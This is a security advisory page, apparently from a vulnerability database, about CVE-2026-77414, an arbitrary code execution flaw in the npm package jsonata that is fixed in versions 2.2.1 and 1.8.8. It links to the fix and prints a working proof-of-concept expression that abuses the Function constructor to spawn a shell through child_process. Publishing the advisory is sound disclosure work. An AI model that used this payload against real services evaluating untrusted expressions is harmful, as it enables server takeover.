StatewardStateward
← Toutes les vulnérabilités
CRITICALSupply chain

CVE-2026-77414

npm · jsonata

Résumé

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Détails de l’avis

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});

Références

Vulnérabilités liées

Tout Supply chain →